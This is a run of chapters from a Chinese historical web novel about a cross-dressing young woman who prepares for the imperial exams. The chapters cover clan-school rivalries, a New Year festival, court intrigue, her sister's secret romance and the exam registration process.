对于唐衔青这位大学士之子,林老师格外重视,在讲解的时候,时不时就喜欢抽唐衔青回答问题。 只是唐衔青早就过了童生试了,他与周明承一样,应该准备两年后的会试才对。 林老师为了迎合他的水平,问的问题就越来越难,角度也越来越刁,越来越靠近会试的难度。 这导致底下一群备考童生试的学生们听不太懂,可又不敢左右议论,只好如同身上长虱子,来回不安分。 又过了一炷香的功夫,终于有学生忍不住,低声对身边人吐槽:“林老师心也太偏了,这哪儿是童生的难度?真要将那唐衔青如佛一般供着,又何必开设这族学呢?白白耍人玩儿。” 这话声音不大不小,许多人都听到了。 周连玉也是深以为然地点点头。 他自认为水平不错,虽然尚未下场,但总觉得自己理应中个秀才,平日里听课也十分积极,颇瞧不上周围听课时抓耳挠腮的学生。 但如果难度超标,抓耳挠腮的成了他自己,周连玉心里就难受,有种凤凰与山鸡为伍的羞耻感。 可转头一看,周连玉见最后一排周稚宁倒是巍然不动,不紧不慢地翻阅手上的一本集子,似乎并不受林老师偏心的影响。 他想了想,等到林老师问及:“可有人知‘古之学者必严其师,师严然后道尊,道尊然后民知敬学①’是何意思?”的时候,他立即举手。 周连玉也是周家人,虽是庶子,但毕竟也是周允能亲生。因此林老师也不拂周连玉的面子,点了他道:“好,含章,你来说说。” “这句话出自《易经》,乃是说为学之道,一定要尊敬老师。老师受到尊敬,其所传授的道才会受到尊重;道得到尊重,普通民众才懂得敬重学问。” 周连玉刚开始认真地解释句子意思,林老师也是边听边点头。 可是话音刚落,周连玉猝不及防朝周稚宁那边一指,面色凛然道:“所以学生认为周稚宁不配坐在学堂里听老师您授课。” 忽然被点到名字,周稚宁一脸茫然地抬起头来。 林老师皱起眉头:“含章,你这是什么意思?” “老师,您方才站在堂前仔细讲解课业足有半个时辰,辛苦备至,我等都体会老师不易,听的认真。”周连玉冷哼一声,“可唯独周稚宁闷头翻书,摇头晃脑,丝毫不听老师教诲。《易经》说‘师严 11. 互相仰慕 《寒门首辅》全本免费阅读 周稚宁这一站,就足足站了两个时辰。 天边金光渐收,夜色爬上了群山,族学里才渐渐有人出来了。 小厮们提着降纱灯恭敬走在主子前方,暖色的灯光将漆黑的雪路照亮,远远地把学子们的身形模糊成一团飘忽的影子。 灯火光亮顺着玉桥飘过了河上白玉石桥,不久就被夜色彻底吞没。 周稚宁动了动僵硬的手指,勉强吐出了一口冷气。 她仰起头望了一眼天空,发现此时正在下第二场小雪。雪花飘飘荡荡地吹落,一片沾在她睫毛上,又融化成雪水。 她眉心微动,抬袖轻轻擦拭了下眼角。 正是此时,砰——! 寒冷的气息骤然在周稚宁左脸炸开,一只雪球撞上她的鬓角倏然碎成冰碴。 周稚宁眼神一沉,抬眸朝雪球砸来的方向看去。 “呀,居然砸错人了,还以为是我认识的一位朋友呢,原来是宁堂弟啊。”周连玉带着几个小厮从暮色处缓缓走出,“堂弟怎么还没走?” 他面上带着笑,似乎也不用周稚宁回话,又充满恶意地说:“瞧我这记性,宁堂弟被罚站了两个时辰,当然不能那么早走了。” 周稚宁冷淡地拭去侧脸冰屑,面无表情地想,看来周连玉真的很闲,闲到已经开始热衷于找她的麻烦了。 但她还是拢袖对周连玉施了一礼,微微颔首:“多谢玉堂兄提醒,林老师的惩罚已经结束了,在下告辞。” 言罢,她转身离开。 从头到尾,都没有对周连玉的刁难流露出半点不满。 周连玉最看不惯的就是周稚宁这幅不讨饶的冷淡样子,他恨的咬牙切齿:“不过是一个乡下来的破落户,她摆这幅样子给谁看?!” 自从上次在众多子弟面前没控制住周稚宁,叫她抖落了周允能的阴私,这些日子府里再有什么工程,周允能都不许他再插手了。 眼瞧着几个他从前看不上的庶子慢慢接手了他以前的工程,如今春风得意,日益要把他比下去,他就急切、害怕,对周稚宁也就越发怨恨。 “我一定要把周稚宁赶出周府!”周连玉将拳头捏的吱嘎响。 * 此时天色已经完全暗了下来,银月雪光,冷色渡寒塘,一股浓烈冰雪气味儿笼罩着整座府邸。 周稚宁走在回院的路上。 月光拉长了她的身影,孤零零一个,显得有些寂寥。 只是没想到才转过一道弯,周稚宁忽然看见一道身影正朝她这边走来。 二人猝不及防相遇,彼此都略微一顿。 周稚宁回过神来,率先颔首:“赵公子。” 赵淮徽点点头算是回礼,视线却落在周稚宁的侧肩。 虽然周稚宁已经尽量拂去了周连玉砸来的雪屑,但肩头的衣裳还是湿了一片。 可是周稚宁的表情却很平静。 无论是被故意欺凌赶出学堂,还是被周连玉刁难,周稚宁似乎都没什么感情波动,好像她对这些事情根本不在意。 赵淮徽漆黑的眼眸清晰地倒映出周稚宁的影子,声音冷冽:“为什么不争辩?” 周稚宁扬起眉毛:“赵兄,你不觉得你问这个问题是越界了吗?” 赵淮徽一顿,然后说:“抱歉。”可下一刻,他又重复了一遍自己的问题:“所以你为什么不争辩?” 周稚宁被赵淮徽这个油盐不进的态度气得一笑。 她到平城以后,每一次挨欺负时都会碰巧遇上赵淮徽。 也许赵淮徽是真的疑惑不解,为什么她一开始与周连玉针锋相对之后,又选择唯唯诺诺。 但这个问题其实很好解释。 但凡她有一个能做四品大官的父亲,或者是一个拎得清的母亲,再不济,如赵淮徽一样托生于哪怕落魄的士族之家,她都不会在遇到如此赤裸裸的偏袒时忍气吞声。 她是个普通人,更是个被自己母亲女扮男装断了后路的人。 在还没有拥有担负自己命运之重的能力以前,遇到不公她无法反抗。 “如果赵兄今天非要问出一个答案的话……”周稚宁静静地说:“你就当我懦弱无能吧。” 言罢,她绕开赵淮徽,预备离开。 可她在雪地里罚站太久,四肢都冻的僵硬了,脚下一绊,整个人猝不及防朝雪地里砸去。 本以为要摔的难看,谁知下一刻她就被人稳稳扶住了。 赵淮徽平静地将周稚宁拉起来。 在这个过程中,赵淮徽的雪白狐狸毛披风不小心擦过雪地,沾了些雪屑。明明不太碍事,但赵淮徽蹙了蹙眉心,还是将披风取了下来,搭在臂弯处。 “如果你今天不能给我一个答案,我可以改天再问。”赵淮徽道,墨色的眼眸里有些不容拒绝,“但我一定要知道。” 周稚宁不懂为什么赵淮徽会执着于这样一个答案显而易见的问题。 她想了半刻,也只能得出这样结论:像赵淮徽这种生出来就享受富贵人生的士族,是无法理解人世间的种种痛苦和不得已的让步的。 她很早以前就告诉过自己,既然已经生活在这个大明,那就没必要和古人计较。 因为相比于古人们土生土长的价值观,她从后世里带来观点才是异类。 最典型的例子就是那个以文章闻名天下的赵徽。 从赵徽的文章中,周稚宁看见了少年才子的巍巍风流,看见了肆意快马笑春风,简单下笔就成满篇锦绣。一篇文,躯干是朱玉玛瑙,四肢是珍珠珊瑚,头颅是琳琅翡翠,两足是碧玺红钻,内脏更是坠着不计其数的宝石,一读就叮当作响。 可以说,赵徽的一篇文,足以让人看遍天上人间的绚丽,可唯独看不见百姓。 在很多二代子弟的文章里,百姓都是缺位的。 因为在这些人眼里,傲骨要比生命更重要,像她这种受了欺负还要忍气吞声的人就是懦夫。 怎么可能有人为了命连傲骨都不要呢? 子弟们应该很是费解,而赵淮徽算是第一个提出这样疑问的人,可周稚宁没有与赵淮徽解释的兴趣。 “那就依赵兄所言,你下次再问吧。”周稚宁言罢,转身离开了。 这次她走的很慢,一深一浅地踩着雪,慢慢消失在了赵淮徽的视野中。 赵淮徽漆黑的眸子清晰地倒映出她的背影,想了想,去了存文堂。 贾政道看见赵淮徽来一点也不惊讶,反而笑着请他上座。 这回二楼的茶桌上摆着一副紫砂茶具,一块小小地茶饼静静地躺在卷云纹茶盘之中。 兽形小炉之上,炉火煨的正旺。 贾政道穿着套圆领,施施然跪坐下,笑道:“想是受了什么启发才来寻我。” 赵淮徽简单将事情叙述了一遍,垂眸道:“她受了欺负,理应争辩。若是一味忍受,不公的事只会越来越多。甚至……” 他说着,脑中闪过那天晚膳时,那几个混账说的话。 她会被那伙人盯上去做契兄弟。 赵淮徽眸色冷了一层。 “打的一拳开,免得百拳来。”贾政道点点头,“你没想错,可她也没做错。你们的处境与身份天差地别,面对事情的做法当然也会不一样。对于你来说理所当然的事,对于她来说也许需要百般思索。” 说到这里,贾政道神色更加温和:“徽儿,记得我以前对你说过,你的文章笔法、词藻、规格、火候都有了,可还欠缺一样东西。” 赵淮徽蹙眉:“什么?” “民心。” 贾政道说着,从浅蓝色的宽大袖袍中掏出一张纸,递给赵淮徽,赵淮徽接了之后,才发现这是一篇文章,篇名写着三个字《忠奸论》,再看署名—— “是平江笑笑生?”赵淮徽挑眉。 他听过这个人的名声,却从没机会看过她的文章。 “是她。”贾政道摸了摸山羊胡须,眼里闪着温和的光,“这是前几日有一个小友放到文斋里售卖的。徽儿,你应该仔细看看,平江笑笑生的文章里面,就有你缺的那样民心。” * 周稚宁回到小院的时候,周巧秀还在外面伴着妍姐儿玩没回来。 自从周巧秀认识 12. 眼神阴鸷 《寒门首辅》全本免费阅读 临近岁考,族学里的课业放松了很多,周稚宁就趁这段时间跑去了平城的书斋。 从某些方面来说,周允德想的也不错。平城比西河村大些,资源也就要多了。就拿书斋来说,西河村就只有两间书斋,里面的书都是“经典本”,若要找最新的科举文章,都要提前预定。 但是平城里书斋数都数不清,转角就是一个,迎面又碰上一个,里面的书自然也是“最新款”,不仅有上几年的考题和学子答案,而且还有对下一届考题的预测,更有书斋还出了一本《考官分析》,专门分析童生试各级考官的性格、偏好,以方便学子们对症下药。 周稚宁难得开了眼。 果然,为了对付“应试考试”这道千古难题,无论是古人还是现代人,都是各出奇招啊。 周稚宁逛着逛着,手里就提了很多科举参考书。 一炷香之后,她准备为这趟行程结个尾,就拐进了七录书斋。 七录书斋里多的是为了备战科举的学子,人头攒动,拥挤不堪,时不时还能听见几声哀嚎和唾骂。 “谁抢了老子的《四书集注》?!这可是最后一本了!” “《状元文章分析》在哪儿?有哪位仁兄看见了?没有这本,我这次岁考要挂了啊!” “别挤,别挤,踩着我衣服了!” “你们能不能斯文点!” …… 周稚宁在人堆里艰难前行,终于找到了自己要的东西——《赵徽文章全选》。 虽然这位士族子弟的文章锦绣满篇,太过华丽,没有半点民生,可他身上却有周稚宁最缺的东西——诗意。 周稚宁自从穿越过来之后也在积极培养自己的诗意和想象力,但到底还是比不过有着千年文化熏陶的士族。 能补则补,周稚宁打算抱着赵徽的文章恶啃三天三夜,尽量达到一个“不会作诗也会吟”的地步。 周稚宁正打算去结账,但刚走过一个拐角,就和一个人撞在了一起。 她抱着一堆书勉强后退两步,稳定身形之后,才发现对面撞她的居然是个老熟人。 老熟人赵淮徽怀里也抱着一堆书,看封面还是一个系列。 不过周稚宁再仔细一看赵淮徽书封上的名字——《平江笑笑生全系列文章注解》。 周稚宁不由扬眉。 赵淮徽看了眼周稚宁怀里的《赵徽文章全选》,墨色眼眸忍不住微闪。 没有什么是比自己认识的人看自己的文章更微妙的事情了。 更何况,这个认识的人还是自己的对头。 虽然是单方面的对头。 周稚宁不由轻咳两声,对赵淮徽略微颔首算是见礼,就去结账离开了。 赵淮徽看看周稚宁离开的背影,又垂眸看了眼怀里抱着的一堆文章。 民心…… * 周稚宁回了小院后,发现小院里一个人都没有。她干脆给自己倒了杯冷茶,咕噜一声灌了下来。 口腔里弥漫起残茶的涩味儿,凉气似乎要灌进肺里。 当她把买回来的赵徽文章全部放好之后,周允德他们回来了。 虽然今年是在平城过年,不同于以往,但周允德还是带着杨氏几个上街采买了些年货。 诸如缕花、江米人、屠苏酒、新历,此外还有各色糕点两捆盒,以及一些时兴的珠花、布料。 周巧秀穿着件鹅黄色褙子,扎起两个小髻,跑到周稚宁面前秀她的红绳结,笑嘻嘻的:“城西王家货郎哪儿买的,好看吗?” “好看。” 周稚宁真心夸赞了一句,脸上扬起笑看向周巧珍:“大姐买了什么?” 周巧秀抢答:“大姐买了一块……” “没什么,都是女儿家家的玩意儿。”周巧珍紧张又不好意思地打断周巧秀,“小弟听了会觉得没意思的。” 说着,她就拉着周巧秀进了内室。 姐妹两个一路上嘀嘀咕咕的,不知道在说些什么。 周稚宁疑惑地看向周巧慧,却发现周巧慧也是一脸茫然。 她不由失笑。 也许这就是女孩子的秘密? * 越临近岁考,族学里的氛围就越紧张。 不过总有那么一两个人不在乎考试,只赶着看热闹。 书房内,满室清香。 周稚宁端坐着练字,蘸满墨汁的笔尖顺利地在纸面上滑动,几个呼吸之间,结构圆润端正的台阁体跃然纸上。 悬腕练过一张纸,周稚宁又取过一张预备继续,窗子处却被人丢来一颗雪粒。 砰—— “简斋!别练了,钱县令带着百姓在街头鞭春牛呢。”窗外有人笑着叫她,“我们都去了,就差你一个人了,快些出来。” 周稚宁推开纸窗朝外看。 雪地里,艳阳高照,几个少年人拢着袖子站在一处,笑语吟吟,风流灵秀。 为首的一个穿一身鸦青暗纹番花锦袍,外罩一件玄色披风,剑眉星目,丰神俊朗,正是周明承,方才就是他拿石子砸的周稚宁的窗户。 旁边站着的是唐衔青,穿着宝蓝色素面湖杭夹袍,鬓若刀裁,眉眼俊美,别一样的风流俊美。 再旁边是几个周稚宁不熟悉的同窗。 周稚宁走出去,迎着艳阳和雪光,影子清瘦修长,她身上的深蓝素面锦缎袍仿佛流动着金光,面容更显清雅俊秀。 几个人都一眨不眨地看着她。 周明承眼眸深黑,似要说些什么,唐衔青却抢先他一步走到周稚宁身边与她见礼。 “在下唐衔青,字有为。”唐衔青笑的很亲善。 周稚宁对他不熟悉,朝他点点头,只报了自己的名字:“周稚宁。” 唐衔青却也不在意,反而干脆就站在她身边,笑呵呵地跟着她一同往外走。 本来每次都是周明承与周稚宁并肩,但这回唐衔青抢了周明承的位置,伴在周稚宁身边说笑,周明承身边的位子空下来,自然而然的就有其他人补上去想和周明承聊天。 周明承对外一直是温文尔雅的形象,有人与他搭话,他也不会因为对方身份不高而显得不耐烦,风度翩翩,很有君子做派。 只是偶尔他瞥见身后周稚宁与唐衔青二人,眼眸中飞快地闪过一丝暗色。 * 到街面上的时候,街面四处都挂满了红绸,彩缎千条,瑞气万千。 一头青皮水牛头戴红花,被人牵着站在街道中央,两只硕大的牛角仿佛是黑金做成似的,古朴有力,暗暗放有华光,想是被牵来之前早有人用桐油替水牛擦拭过牛角。 在青皮水牛旁边则另站着一人,装扮奇特,头顶花环,面覆傩神面具,青面獠牙,赤金朱砂,浓墨重彩。明明是三九天气,那人却身着一件草衣,下蹬一双操履,手中执着一条牛鞭,叉腰昂首,目光炯炯。 其后更有敲锣打鼓、奏笛、唱喏者若干,各个也是相同的傩神面具,身上却穿着圆领灰色素面长袍,袖摆宽大异常,迎风而动,显出几分仙风道骨。 周稚宁心里有几分奇异。 早在前世她做研究的时候,就偶然涉猎过古代春节风俗,鞭春牛就是其 13. 口是心非 《寒门首辅》全本免费阅读 周稚宁顺着人潮一齐向前涌动,感受耳边时不时传来的欢呼,整个人也显的有些振奋。 这股围追堵截青皮水牛的人潮一直持续了两个时辰,终于是一个半大的年轻小伙抽得了第一鞭,得了“报以介福,万寿无疆”的祝福。 那小伙子虽然出身农户之家,但也有些家底,一时高兴,就解了腰包,掏出一把铜钱高高撒下,高声道:“新年到,大家同喜!” 这可是实打实的铜钱。 一下子,人潮涌动的更凶了。周稚宁被人左冲右撞,差点被撞倒。她只能找准机会,赶紧退出人群,往一个偏僻小巷里面避去了。 眼看着人潮还是源源不断地往前挤,黑压压一片,汹涌如暴涛,周稚宁忍不住擦了擦额上热汗。 她本来想转身朝小巷深处走掉的,但是没想到往前走了两步,耳边忽然听到一点人声,是一男一女。 周稚宁余光一瞥,看见一个女子似乎正把一个香囊交给男子,俏脸羞红,动作扭捏,却又眼含情意。 周稚宁心中了然。 平日里因为男女大防,正值青春妙龄的男男女女们都无法见面。但像鞭春牛这样的大型活动,无论男女都能参加,自然也就成了一些男女交换有情信物的日子。 只是如果男方有意还好,双方以后还能结亲。 如果男方没有这个意思,只是女方单方面爱慕,再增些贴身物品,以后传出风声,女方的名声免不了要受点影响。 周稚宁知晓其中利害,也无意打扰这对野鸳鸯,自然转过身,另换了一条路走。 绕出小巷后,周稚宁看和周明承他们失散了,也不急,干脆在街面上逛起来。 临近春节,街面上有很多的吃食。 热气与香气杂糅,扑面而来,引的人食指大动。 周稚宁看了看,走向一个卖炒板栗的小摊,道:“来一份炒板栗。” 然而一道粗犷的嗓音与周稚宁的声音同时响起:“店家,来份炒板栗。” 那小贩闻言抬头左右看看,满是歉意:“这个……几位老爷,我这里就剩一份儿熟板栗了,还想要就得等等。不如几位商量一下,看谁先拿?” 周稚宁朝着身边人看过去。 那是个大汉,虎眼,络腮胡,人高马大,肌肉紧绷,一身的匪气,却很是眼熟。 周稚宁的眼神接着往程普身后一看,瞥见一角银色雪狐轻裘。 赵淮徽眉眼俊美冷淡,像是冬日寒冷的阳光,疏离冷漠。漆黑的眼瞳里无波无澜,看人的目光如同在看死人一般。 只是在望向周稚宁的时候,赵淮徽眉峰一挑,眼里有了些情绪:“你想要?” 周稚宁迟疑了一下,拢袖行礼:“这份还是让给赵兄吧,我等一等就好。” 闻言,赵淮徽收回视线,嗓音淡淡:“程普。” 程普小山一样的身体立即转过来,神态恭敬:“公子吩咐。” “把东西给她。” “是。” 程普接过摊主的板栗,又付了银子,转手将板栗塞到了周稚宁的手里。 热腾腾的板栗隔着纸袋子也能散发出烫手的温度,香甜的气息丝丝缕缕从袋子里冒出来,缠绕上周稚宁的鼻尖,很有诱惑力。 周稚宁一愣:“赵兄,你不必……” “当是我对你的赔礼罢。”赵淮徽眼眸中流露出一丝思索。 他上次不该强行拦住人问问题,也许周稚宁恼的是这一点? 但周稚宁看了看板栗,开口第一句话是:“赔礼?” 第二句话是:“哪一次?” 赵淮徽:…… 难道他在不知情的情况下,得罪了周稚宁很多次? 赵淮徽眼眸微微瞪大,往日都是淡色的眼眸中,很稀罕地出现了一抹诧异和疑惑。 看赵淮徽这个样子,周稚宁就知道不该指望他能自己想清楚自己错在哪儿。 毕竟在士族的世界观里面,万物如刍狗,他们做什么都对。 不过周稚宁疑惑的是,前不久赵淮徽的态度还高高在上,怎么这次就知道道歉了? 有点不对劲。 周稚宁想了想,试图推拒:“君子不夺人所爱,这份还是给赵兄吧。” 赵淮徽眉心蹙了一下,似乎有些不满意周稚宁这样的态度。 但他漆黑冷淡的眼眸瞧了周稚宁良久,到底没用以前的那副姿态,而是略一偏头:“拿着……”他下巴微抬,嗓音冷淡,“反正我也不爱吃。” 言罢,他带着程普走了。 周稚宁落在后面,看了看手上的板栗,觉得赵淮徽不仅油盐不进,还有些阴晴不定。 “公子,您不爱吃钱三儿家的板栗?”程普走在赵淮徽身边,有些犹豫,“那昨天怎么还排了半个时辰的队,专门来买啊?” 赵淮徽挑嘴,平城的食物很少有他能看得上的。好不容易遇到一家卖炒板栗的很合赵淮徽的心意,起了兴趣亲自出来买,结果走了一炷香的时间,好不容易到了,却只剩最后一份儿了,他还让了出去。 这样前后不一的行为,让程普想不通。 “我这段时间一直在看平江笑笑生的文章。”赵淮徽敛下眉眼,“我发现老师说的对,她的笔下有我缺少的那份民心。” 说着,他忽然站住脚,往身后瞥了一眼。 长街之上,周稚宁拿着板栗转身离开。她的清瘦的身影穿梭在如织的人流之中,显得影影绰绰。 赵淮徽微微眯起凤眼:“所以我想试着找一找。我想知道,民心究竟是什么样的。” * 既然板栗已经塞到手里了,周稚宁干脆就坐在街边现磕了几个吃。 这时头顶上忽然投下一片阴影,一道温和却无奈的男声响起:“总算找到你了。” 周稚宁抬头一看,发现是周明承。 “承堂兄。”周稚宁拢袖行礼,面上有些歉意,“给你添麻烦了。” 周明承眉眼润朗俊美,像是一杯带着热气的君子茶。 闻言,他摇摇头:“街上人太多了,被冲散是难免的,我也找不到有为他们了。” 周稚宁对唐衔青这些人并不在意,嘴上敷衍着问了一两句,当做客气。 和这位宁堂弟相处久 14. 嫁姐 《寒门首辅》全本免费阅读 听说唐衔青因为回来的太晚,错过了晚膳不说,还得了一场小风寒。 府里很重视他这场病,特意请了名医来看,周明承也去慰问了。 周稚宁随便听了一耳朵,心里倒是觉得让唐衔青病一病也好,这人属实太过于风流浪荡了些。 至于之后唐衔青即使是在病中也总来拜访她,她又老是以病气为由推拒见面的事情,就可以暂时不提了。 一转眼几天过去,岁考的时候到了。 此次岁考只不过是为了测验学生们的水准,所以难度接近童生试。当然,为了避免周明承这些取得秀才功名的做无用功,他们的试卷是另外出的。 考试就在学堂里进行。 周稚宁拿到题目后觉得不难,但为了不暴露,她控制了一下,将文章的水平稍稍提高了一丝,看起来比往日写忠奸论的时候有点进步,但进步不多。 很快写完了,周稚宁交了卷。 林老师从不以正眼看周稚宁,连带着她的试卷也并不重视。倒是牛老师在她交上来的那一刻拿起卷子看了几眼,随即脸上就流露出失望的神色。 这样的水平去参加童生试,除非是今年的试卷难度不高,否则难以过关啊…… 牛老师摇摇头,看向周稚宁。 周稚宁朝他拢袖行礼,面色如常地离开了。 林老师冷哼一声:“孺子不可教也。” 李老师在一边不言不语,只是默默看着周稚宁的文章。 片刻后,学生们都把卷子交了上来,几位老师各自分得了一份回去批改。 李老师拿走了周稚宁那一份,转身出了学堂。 * “老爷,这就是周稚宁岁考的成绩。”李老师将试卷递过去。 周府的书房里,屋内的碳火煨的很旺,橙色的火舌舔舐着火盆四周,将铜盆烧的发红发亮。 周允能端起面前的茶盏轻呷一口,扫了一眼放在自己面前的试卷,皱起眉头:“水平太差,难堪大用。” “是啊,本以为周稚宁被评为西河村第一,总该有点子文墨功夫在身上,没想到那些言论居然都是谬赞。”李老师摇摇头,“这样一来,咱们的计划就落空了。” 四皇子与太子分庭抗礼,风头一时无两,但太子是孝贤皇后所生,四皇子是普通宫女所生。即使孝贤皇后因难产去世,可太子的出身到底比四皇子高贵。就算如今四皇子隐隐有盖过太子风头的趋势,但若想圣上真的改换东宫,恐怕又没那么容易。 周允能作为四皇子一党,受了四皇子诸多恩惠,自然要尽心尽力为四皇子办事,好让圣上能渐渐厌恶太子。 这关键的一子,就押在周稚宁身上。 “本来想先拉拢周稚宁,再使手段将她逐出周府,给太子那边的人造成一种,周稚宁虽与老爷出自一家,却彼此不睦的假象,好将这棋子安插进去,以待来日再用。” 李老师叹了一口气:“谁料这周稚宁也太不中用了些。就这般水准,我尚且看不顺眼,又如何布局将她引见到太子面前?” 周允能将茶盏往桌上重重一放,发出砰的一声:“罢了,再想想其他办法。” 李老师捋了捋胡须,沉吟道:“既然从前朝暂且打不开局面,不如就从后宅入手?据我所知,太子手下有个人正缺一位夫人……” 周允能长眉一挑,正要细问,门却忽然响了起来。 一个小厮恭恭敬敬地走进来,垂头道:“老爷,二老爷的夫人杨氏想来面见老爷,现下就在门外侯着。” 周允能与李老师对视了一眼,脸上就露出一个笑:“快请。” * 周稚宁注意到杨氏近来心情愉悦了许多,也不再催促周巧珍没事儿就往邓氏的院子里去了。倒是周巧珍自己总爱出小院,不过每每都有周巧秀陪着,也让家里人略微放心。 家中无事,课堂之上也算安宁,周稚宁收敛身心耐心温书,很快,两个月一晃而过,童生试即将到来。 这是周稚宁第一次下场,家中为此都忙慌了。 为了给周稚宁一个全然良好的温书环境,周允德勒令家里所有人过了戌时就不许再走动,以免发出声音搅扰了周稚宁睡眠。 除此之外,周允德还将自己全部的私房都拿出来,吩咐杨氏去农家买上好的土鸡,每日炖汤给周稚宁补身子。 杨氏条条都严格遵从,甚至连鸡汤都是等晾好了以后才给周稚宁端进去,就怕烫伤了她。 几个姐姐也是各出心力。 周巧珍给周稚宁绣了一套护膝。 童生试是在号房里考,考生们要在巴掌大点地方待上好几天,虽说现在开了春儿,可天气还冷,为着不让周稚宁受冻,护膝是必不可少的。 周巧慧和周巧秀女红没有周巧珍精巧,一个给周稚宁绣了鞋袜、香包,另一个就陪着杨氏日日去拜文昌神君,甚至还花了十两银子,从文昌神君的神位前请了一支紫木羊毫回来,慎重吩咐周稚宁一定要在考试当天用。 周稚宁对家里人这团忙碌感到哭笑不得,可心中又有些发软。 特别是周巧珍的护膝,是用碧绿料子绣的,上面的团榜花纹寓意周稚宁登榜成功,一针一线,紧密不已,可见是花了许多心思。 周稚宁细细抚摸护膝上的花样,想去找周巧珍道谢。 结果走到房外时才知道原来周巧珍又出去了。 周稚宁有些疑惑,大姐这些时日往外跑的次数也太多、太勤了些。 她想了想,留了个心眼,向周巧慧问了周巧珍去的方向,顺着小路去了。 其实周巧珍也没出宅子,只是跟着府里管事家的老婆到周府西边的小巷子里见货郎去了,可能是要挑点女儿家用的物件。 周稚宁达到西巷子的时候,正看见周巧珍一个人挎着一只篮子,漂亮的眼眸中透露出女儿家的绵绵情思,白玉般的脸颊微红,唇边带笑,脚步轻盈地往回走,腰肢体态与往日截然不同。 至于那个管事家的老婆却不见踪影。 周稚宁直接走到周巧珍面前,笑道:“大姐这是去哪儿了?叫我好找。” 周稚宁出现的猝不及防,周巧珍吓了一跳,微红的俏脸刹那间发白:“原来是、是小弟。我只是跟着徐瑞家的去西巷子里见货郎,挑些喜欢的物件儿。” 说着,她将篮子往身后藏了藏。 看清她的动作,周稚宁脸上的笑意慢慢消失了。 她生的如玉一般清冷淡漠,一旦失了笑意,整个人就显出冷肃:“大姐,那个外男是谁?” 周巧珍一惊:“什么外男?我、我不知道。” 可她将那篮子攥的更紧了,指尖几乎发白。 周稚宁紧紧地抿住唇瓣。 她早该察觉的,自上次采买过年节礼时,周巧珍就显出几分不对了,欲说还羞的模样与往日里端庄稳重的她大不相同。 更别说这些时日她一直在往外跑,一颗心全然丢在外面了。 这分明是遇见了外男。 古代女子重名节,行差踏错一步终身都要为此悔恨。 周稚宁珍爱周巧珍,是绝对不愿意看到这样的情况出现的。 “大姐你与我说实话。”周稚宁紧紧盯着周巧珍,“你知道的,我从不会害你。你告诉我,也好叫我知道现在是什么个情况。” 说着,周稚宁怕周巧珍不听,又加了几句:“更何况我能发现不对,难道父亲、母亲,周府里的上上下下就不会发现么?趁如今还没闹出什么事态来,你先告诉我,咱们姐弟两个一同商议。” 听见这句话,周巧珍俏脸更是惨白,却也知道瞒不下去了,期期艾艾道:“我……我遇见了一个书生。” 周稚宁脸色一变。 15. 得到了认同? 《寒门首辅》全本免费阅读 七日之后,童生试就要开始了。比起考时的焦虑,考前的事情也不少。 在考前前几天,周稚宁一大早就起身出了小院。 学堂前,已经有四个同窗在等她了。 “一、二、三、四——” 一个面容清秀的少年点了下人数,笑道:“算上简斋兄一个,正好五个人。走吧,现在就去县衙礼房交单子。” 几个人都点头,一齐往县衙去了。 这是每个考生在考试前都要经历的流程,毕竟古代没有人脸扫描器,也没有信号屏蔽仪,如何防止有人冒名顶替或者是作弊就是一大难题。为了解决这一问题,朝廷就提出了“廪保互结亲供单”的说法。 在这单子上会如实记述考生的身形体貌特征、曾祖祖父父亲三代人的姓名、是否从事贱籍、身家是否清白、恩师姓名、廪保姓名、住址等等信息。 其中还包括一项五人互结童生姓名,一人作弊,四人连坐,不可谓不严苛。 等到了县衙礼房之后,礼房外已经是大排长龙,许多要参加童生试的书生都等在此处了。这些人有的面相稚嫩,不过双十之数,但也有的已经生出了细纹,各个年龄段不一而足。 周稚宁拢袖随着几个同窗一起排队,足足排了一个时辰才轮到他们。 负责查验考生面貌特征的是个瘦小男人,他一看就知是个做惯了的熟手,目光极快往考生面上一瞥,手下就运笔如飞:“肤白、脸圆、身量六尺……” “面光无须、眼小、大耳、身量七尺……” “色黑、干瘦、脸左侧有痦一颗……” 轮到周稚宁时,瘦小男人双眼微眯,下笔又写:“肤白、薄唇、桃花眼、身形清瘦……” 一口气写完五个人的保单,瘦小男人又拿过墨笔一一点名:“章长庆、何宝明、胡平清、王田、周稚宁,就是你们五个互为结保么?” 周稚宁五人皆是行礼:“是。” “过来签字。”瘦小男人将手上墨笔递过去,“签完再去找你们相熟的廪生签字,签完了再拿到县学门斗处盖章。” 几人又行礼:“是。” 随即一一签上自己的姓名。 为首的章长庆从袖口中掏出一个荷包,里面装了一千文,递给了瘦小男人:“大人,这是小子们的保费。” 瘦小男人朝一边点点下巴,示意他将荷包放到自己身侧。 章长庆依言照做之后,瘦小男人就将这五张保单分别发给了他们。 这就算是完成了结保的第一步了,但事情还没完,他们还要找比自己年长的廪生签字,给他们认保才行。 因此几个人拿到保单后连口水都来不及喝,转身又去了平城里一处老廪生的住处。 老廪生姓刘,在考过童生试成为廪生之后就没有再进一步的天赋,始终卡在廪生身份。但好在即便是廪生,公家每月也有放粮,日子也不算难过。更何况每次童生试都有学生要找廪生认保,他们认下后总能得到些许孝敬。渐渐的,刘廪生也就乐天安命了。 “这几位都是你的同窗罢?可有什么不曾相熟的人?”刘廪生看向章长庆问。 就算刘廪生是专门替人认保来得点孝敬,也不代表他是什么人都可以认。若是认下的人里出了冒名顶替的、徇私舞弊的,那他免不了也要吃挂落。 是章长庆做头联系的他,闻言,章长庆连忙笑道:“确实都是同窗,我们都在周允能老爷府上的族学读书,因此相识,您大可放心。” 听说是从周府族学里出来的,刘廪生的面色一下放松了不少。 毕竟周允能也是四品官员,既然能进他家族学,那家世必定清白。 没了顾虑,刘廪生利落地在保单上签下了自己的名字。 刘廪生签的爽快,周稚宁等人自然也不吝啬,各自奉上了自己的一点儿心意,就拿着保单又往县学门斗处赶。 这回照样是大排长龙,五个人都不是什么权贵,当然走不了捷径,只好又往人堆里面去,认命地排队。 就这样昏头昏脑排了一个多时辰才轮上他们。 接下来又是唱名、又是验身,等到章长庆代表五人给了三百文的印章钱,得了盖章完毕后的保单时,几个人才长出一口气,只觉得腰酸骨痛,头晕脑胀。 一看天色,竟然已是过了正午了,几个人却连午膳都没来得及用,可见这些事情真真是要将人给琐碎死了。 章长庆不欲多留,与众人施了一礼后就转身回了周府。 明日就要正式童生试了,今日还有点时间,章长庆还想再多做温习。其他人也是抱着同样的心思,纷纷告别之后,就只剩周稚宁一个了。 她将保单收好就准备去附近书斋逛逛。 